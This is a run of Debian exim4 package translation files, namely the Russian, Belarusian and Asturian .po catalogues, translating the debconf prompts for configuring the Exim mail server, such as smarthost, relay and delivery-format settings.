used to force local delivery." msgstr "" "Имейте в виду, что почту, адресованную postmaster, предпочтительнее читать " "на той системе, на которую она была отправлена, чем пересылать куда-нибудь в " "другое место, так что, по меньшей мере, один из пользователей, которых вы " "выберете, не должен перенаправлять свою почту с этой машины. Используйте " "префикс 'real-' для принудительной локальной доставки." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Multiple user names need to be separated by spaces." msgstr "Несколько имён пользователей нужно разделять пробелами." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "IP-адреса, с которых следует ожидать входящие соединения SMTP:" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" "Введите список IP-адресов, разделённых точками с запятой. Демон Exim, " "прослушивающий SMTP, будет прослушивать все IP-адреса, указанные здесь." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "" "Если вы оставите это поле пустым, Exim будет ожидать соединения на всех " "доступных сетевых интерфейсах." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "Если этот компьютер принимает почту напрямую только от локальных сервисов (и " "не от каких других компьютеров),то вам следует запретить внешние соединения " "к локальному демону Exim. К локальным сервисам относятся почтовые программы " "(MUA), которые работают только через localhost, а также fetchmail.Если здесь " "ввести адрес 127.0.0.1, то внешние подключения блокируются, а также это " "запретит ожидание соединений на общедоступных сетевых интерфейсах." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "Сокращать количество DNS-запросов до минимума (дозвон по требованию)?" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "При работе в обычном режиме Exim делает DNS-запросы (при старте, приёме или " "отправке сообщения, и т.д.) для записи в журнал и для уменьшения объёма " "значений параметров, указываемых в конфигурационном файле." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "Если этот узел не имеет постоянного доступа к DNS-серверу (например, " "используется дозвон по требованию по коммутируемой линии), то это может " "привести к нежелательному поведению. Например, при запуске Exim или " "обработке очереди (даже если очередь пуста) может инициироваться дорогой " "дозвон." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" "Нужно ответить утвердительно, если система использует дозвон по требованию. " "Если имеется постоянное соединение с Интернет, ответьте отрицательно." #. Type: title #. Description #: ../exim4-config.templates:12001 msgid "Mail Server configuration" msgstr "Конфигурация почтового сервера" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "Разделить конфигурацию на маленькие файлы?" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "Пакеты exim4 в Debian могут работать с конфигурацией, размещённой в одном " "большом файле (/etc/exim4/exim4.conf.template), так и с конфигурацией, " "разделённой на 50 маленьких файлов, расположенных в каталоге /etc/exim4/conf." "d/." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "Первый вариант лучше подходит для внесения больших изменений и обычно более " "надёжен, тогда как последний более удобен для внесения небольших изменений, " "но менее надёжен и может привести к краху системы, если вносить изменения " "небрежно." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" "Более подробно об этих двух видах конфигураций можно прочитать в файлах " "README (из каталога /usr/share/doc/exim4-base), описывающих настройку в " "Debian." #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "Скрывать локальное почтовое имя в исходящей почте?" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "Заголовки исходящей почты могут быть перезаписаны для создания видимости " "того, что они были созданы на другой системе. Если ответить утвердительно, " "то будут изменены '${mailname}', 'localhost' и '${dc_other_hostnames}' в " "полях From, Reply-To, Sender и Return-Path." #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "mbox формат в /var/mail/" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "Maildir формат в домашнем каталоге" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "Delivery method for local mail:" msgstr "Метод доставки локальной почты:" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" "Exim может сохранять локально доставляемую почту в различных форматах. " "Наиболее часто используются mbox и Maildir. В формате mbox используется один " "файл для всей почты, который хранится в каталоге /var/mail/. В формате " "Maildir каждое сообщение сохраняется в отдельном файле в каталоге ~/Maildir/." #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" "Заметьте, что большинство почтовых утилит Debian по умолчанию настроены на " "использование mbox как метода локальной доставки." debian/po/be.po0000644000000000000000000007254212027557533010555 0ustar # translation of exim4_debian_be.po to Belarusian (Official spelling) # Pavel Piatruk , 2008, 2009. # Hleb Rubanau , 2007,2009. # Copyright (C) 2007-2009 by # This file is distributed under the same license as the exim4-configure package. msgid "" msgstr "" "Project-Id-Version: exim4_debian_be\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2009-02-19 02:38+0200\n" "Last-Translator: Pavel Piatruk \n" "Language-Team: Belarusian (Official spelling) \n" "Language: \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: KBabel 1.11.4\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "Remove undelivered messages in spool directory?" msgstr "Ці выдаліць недасланыя паведамленні з чаргі?" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "У дырэкторыі чаргі Exim (/var/spool/exim4/input/) ёсць e-mail паведамленні, " "што яшчэ недасланы. Выдаленне Exim спрычыніць іх застацца недасланымі, " "пакуль Exim не будзе ўсталяваны зноў." #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" "Калі не згадзіцеся, дырэкторыя чаргі будзе пакінута, што дазволіць " "паведамленням у чарзе быць дасланымі пасля таго, як Exim будзе " "пераўсталяваны." #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "Пераналадзьце exim4-config, а не гэты пакет" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" "Наладкі Exim захоўваюцца ў асобным пакеце exim4-config. Каб пераналадзіць " "Exim4, выканайце 'dpkg-reconfigure exim4-config'." #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "вузел Інтэрнэт; пошта атрымліваецца і дасылаецца проста праз SMTP" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "пошта дасылаецца праз smarthost; прыём праз SMTP ці fetchmail" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "пошта дасылаецца праз smarthost; няма лакальнай пошты" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "толькі дакальная дастаўка; не ў сеціве" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "пакуль не наладжваць" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "Асноўныя тыпы наладкі пошты:" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "" "Калі ласка, вызначце тып наладак паштовага сервера, што найбольш пасуе " "задачам." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "Машыны з дынамічным IP-адрасам, у тым ліку з dialup-доступам, могуць быць " "наладжаны на дасылку зыходзячай пошты праз іншую машыну (якая завецца " "'smarthost'), бо шмат якія паштовыя серверы не прымаюць уваходзячую пошту з " "дынамічных IP, каб засцерагчыся ад спаму." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" "Машына з дынамічным IP адрасам можа прыймаць уласную пошту, ці лакальная " "дастаўка можа быць выключана цалкам (за выняткам пошты для root і " "postmaster)." #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "Ці сапраўды пакінуць паштовую сістэму неналаджанай?" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "Пакуль паштовая сістэма не наладжана, яна лічыцца пашкоджанай і не можа быць " "скарыстана. Пазнейшае наладжванне можа быць зроблена або ўручную, або " "выкананнем 'dpkg-reconfigure exim4-config' як root." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "Паштовае імя сістэмы:" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "" "'Паштовае імя' - даменнае імя для вызначэння ('qualify') адрасоў без " "даменнага імя." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" "Гэта імя можа быць скарыстана іншымі праграмамі. Яно павінна быць адзіным, " "цалкам вызначаным даменным імем (FQDN)." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" "Значыць, калі паштовы адрас лакальнай машыны foo@example.org, карэктнае " "значэнне параметра будзе example.org." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "" "Гэта імя не будзе з'яўляцца ў радку From: зыходзячых паведамленяў, калі " "дазволены перазапіс." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "Таксама дазволіць пошту ў:" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "Увядзіце спіс раздзеленых знакам ';' даменаў атрымальнікаў, для кожнага з " "каторых гэта машына будзе лічыць сябе канцавым прызначэннем. Гэтыя дамены " "звычайна завуцца лакальнымі. Лакальная назва вузла (${fqdn}) і 'localhost' " "ужо дададзены ў спіс." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "Паводле стандартных наладак усе лакальныя дамены апрацоўваюцца аднолькава. " "Калі ў якасці лакальных даменаў вызначаны a.example ды b.example, " "паведамленні да acc@a.example ды acc@b.example будуць мець аднолькавы пункт " "прызначэння. Калі патрэбна, каб розныя лакальныя дамены апрацоўваліся розным " "чынам, неабходна дадаткова выправіць файлы наладак." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "Дамены, для якіх дазволеная перадача пошты:" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" "Увядзіце спіс раздзеленых знакам ';' даменаў атрымальнікаў, для якіх гэтая " "сістэма будзе перапраўляць пошту (выступаючы, напрыклад, у якасці " "рэзервовага MX альбо паштовага шлюзу). Гэта значыць, што сістэма будзе " "прымаць пошту для гэтых даменаў з усяго свету, і дастаўляць яе паводле " "лакальных правіл. " #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "" "Не ўводзьце тут дамены, раней пазначаныя як лакальныя. Выкарыстанне " "сімвальныя шаблонаў дазволена. " #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "Машыны, для якіх дазволеная перадача пошты" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" "Увядзіце спіс падзеленых знакам ';' дыяпазонаў IP-адрасоў, для якіх гэтая " "сістэма будзе перадаваць пошту ва ўсіх выпадках, працуючы як smarthost. " #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "Трэба выкарыстоўваць стандартны адрасна-прэфіксны фармат (г.зн. " "194.222.242.0/24 або 5f04:1200:836f::/48)" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "" "Калі гэтая сістэма не будзе працаваць у якасці smarthost ні для якога іншага " "вузлу, пакіньце спіс пустым." #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "Бачнае імя дамену для лакальных карыстальнікаў" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" "Уключана опцыя, якая прымушае хаваць лакальнае паштовае імя ў пошце, якая " "накіроўваецца вонкі. У такім выпадку неабходна вызначыць імя дамену, якое " "мусіць выкарыстоўвацца ў якасці даменнай часткі паштовых адрасоў лакальных " "карыстальнікаў." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "IP-адрас альбо назва вузла вонкавага smarthost:" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" "Увядзіце IP-адрас або назву вузла паштовага сервера, які мусіць " "выкарыстоўвацца гэтай сістэмай у якасці smarthost для пошты, што " "накіроўваецца вонкі. Калі smarthost прымае Вашую пошту толькі праз порт, " "адрозны ад TCP/25, дадайце два двухкроп'я і нумар порту (напрыклад: " "smarthost.example::587 або 192.168.254.254::2525). Двухкроп'і ў адрасах IPv6 " "мусяць быць падвоеныя. " #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "Калі smarthost патрабуе аўтарызацыі, прачытайце датычныя Debian файлы README " "ў дырэкторыі /usr/share/doc/exim4-base, якія ўтрымліваюць адпаведныя " "інструкцыі па наладцы. " #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "Атрымальнік пошты для root ды postmaster:" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" "Пошта для карыстальнікаў 'postmaster' ды 'root' і іншых сістэмных " "карыстальнікаў мусіць быць перанакіраваная на адрас карыстальніка, які " "з'яўляецца сапраўдным адміністратарам сістэмы." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" "Калі гэтае поле не будзе запоўнена, адпаведная пошта будзе захоўвацца ў " "файле /var/mail/mail, але гэта не рэкамендуецца. " #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "Майце на ўвазе, што пошту карыстальніка 'postmaster' трэба чытаць на той " "сістэме, куды яна была накіраваная, а не перанакіроўваць кудысці яшчэ. Таму " "найменей адзін карыстальнік з пазначаных вышэй не мусіць перанакіроўваць " "сваю пошту па-за межы гэтай машыны. Прэфікс 'real-' можа быць выкарыстаны, " "каб прымусова выконваць лакальную дастаўку. " #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Multiple user names need to be separated by spaces." msgstr "" "Калі Вы ўвядзеце некалькі імён карыстальнікаў, варта раздзяліць іх прабеламі" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "IP-адрасы, на якіх варта чакаць уваходзячых далучэнняў SMTP:" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" "Увядзіце спіс падзеленых знакам ';' IP-адрасоў. Дэман праслухоўвання SMTP " "будзе чакаць далучэнняў на ўсе пералічаныя адрасы. " #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "" "Пустое поле прымусіць Exim праслухоўваць падключэнні на ўсіх наяўных " "сеткавых інтэрфэйсах." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "Калі гэтая сістэма атрымлівае пошту толькі ад лакальных службаў, і нічога не " "атрымлівае з іншых вузлоў, лепей забараніць вонкавыя далучэнні да лакальнага " "дэману Exim. У выраз 'лакальныя службы' ўваходзяць і паштовыя праграмы " "(MUA), якія далучаюцца толькі да localhost, а таксама fetchmail. Каб " "забараніць праслухоўванне публічных сеткавых інтэрфэйсаў, увядзіце тут " "127.0.0.1. " #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "Выконваць мінімальную колькасць DNS-запытаў (Dial-on-Demand)?" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "У звычайным рэжыме працы Exim робіць праверкі DNS падчас запуску, а таксама " "падчас атрымання альбо адпраўкі пошты. Гэта патрэбна для вядзення журналаў і " "дзеля таго, каб зменшчыць колькасць жорстка запраграмаваных значэнняў у " "наладках." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "Калі гэтая сістэма не падключаная ўвесь час да паўнавартаснай DNS-службы " "(напрыклад, калі ўжываецца dialup-злучэнне з сецівам па схеме dial-on-" "demand), такі рэжым працы можа мець непажаданыя наступствы. Напрыклад, " "запуск Exim альбо прагляданне чаргі (нават калі ў ёй няма паведамленняў) " "можа быць прычынай аплочанага dial-up злучэння." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" "Калі Вашая сістэма выкарыстоўвае схему Dial-on-Demand, пазначце гэты " "параметр. Калі сістэма мае сталае злучэнне з сецівам, гэты параметр трэба " "адключыць. " #. Type: title #. Description #: ../exim4-config.templates:12001 msgid "Mail Server configuration" msgstr "Наладкі паштовага сервера" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "Размеркаваць наладкі па маленькіх файлах?" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "Пакет exim4 можа выкарыстоўваць альбо адзін суцэльны файл наладак (/etc/" "exim4/exim4.conf.template) альбо шэраг дробных файлаў, пабудаваных на " "падставе прыкладна пяцідзесяці асобных шаблонаў з дырэкторыі /etc/exim4/conf." "d." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "Суцэльны файл наладак больш прыдатны для маштабных зменаў і ўвогуле лічыцца " "больш прыдатным для устойлівай працы. У той жа час наладка шэрагам дробных " "файлаў больш зручная для маленькіх выпраўленняў, але такая канфігурацыя " "больш хрупкая і яе лягчэй зламаць неўважлівым рэдагаваннем. " #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" "Больш інфармацыі пра дыскусію адносна двух падыходаў можна знайсці ў " "датычных Debian файлах README з дырэкторыі /usr/share/doc/exim4-base. " #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "Хаваць лакальнае імя пошты ў зыходзячых паведамленнях?" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "Загалоўкі пошты, якая накіроўваецца вонкі, можна змяніць такім чынам, каб " "яна выглядала згенераванай на іншай сістэме. У гэтым выпадку значэнні " "'${mailname}','localhost' ды '${dc_other_hostnames}' будуць змененыя ў палях " "From, Reply-To, Sender ды Return-Path. " #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "фармат mbox у /var/mail/" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "Фармат Maildir у хатняй дырэкторыі карыстальніка" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "Delivery method for local mail:" msgstr "Спосаб дастаўкі для лакальнай пошты:" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" "Exim можа захоўваць лакальна дастаўленую пошту ў розных фарматах. Найбольш " "часта ўжываюцца mbox ды Maildir. Фармат mbox выкарыстоўвае адзін файл для " "ўсёй паштовай скрынкі, які будзе захоўвацца ў /var/mail. У фармаце Maildir " "кожнае паведамленне захоўваецца ў асобным файле ў дырэкторыі ~/Maildir/." #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" "Варта звярнуць увагу, што большасць праграм для працы з поштай у Debian " "паводле стандартных наладак чакаюць выкарыстання фармату mbox для лакальнай " "дастаўкі пошты. " debian/po/ast.po0000644000000000000000000006071212027557533010752 0ustar # SOME DESCRIPTIVE TITLE. # Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER # This file is distributed under the same license as the PACKAGE package. # FIRST AUTHOR , YEAR. # msgid "" msgstr "" "Project-Id-Version: exim4_debian\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2009-01-12 21:37+0100\n" "Last-Translator: Marcos Alvarez Costales \n" "Language-Team: asturian \n" "Language: \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=utf-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "X-Poedit-Language: asturian\n" "X-Poedit-Country: SPAIN\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "Remove undelivered messages in spool directory?" msgstr "" "¿Desaniciar los mensaxes non entregaos del direutoriu de la cola de corréu?" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "Hai mensaxes nel direutoriu de la cola de corréu de exim /var/spool/exim4/" "input/ que nun se entregaren entá. Si desinstales Exim estos nun podrán " "unviase fasta que lo reinstale." #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" "Caltendráse'l direutoriu de coles si nun escueyes esta opción, lo que te " "permitirá xestionar los mensaxes encolaos más alantre dempués de reinstalar " "Exim." #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "Reconfigure exim4-config n'arróu d'esti paquete" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" "Movióse la configuración de exim4 a un paquete dedicaú: exim4-config. Si " "quies reconfigurar Exim4 tendríes d'executar 'dpkg-reconfigure exim4-config'." #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "Internet site; El corréu unvíase y recíbese direutamente usando SMTP" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in 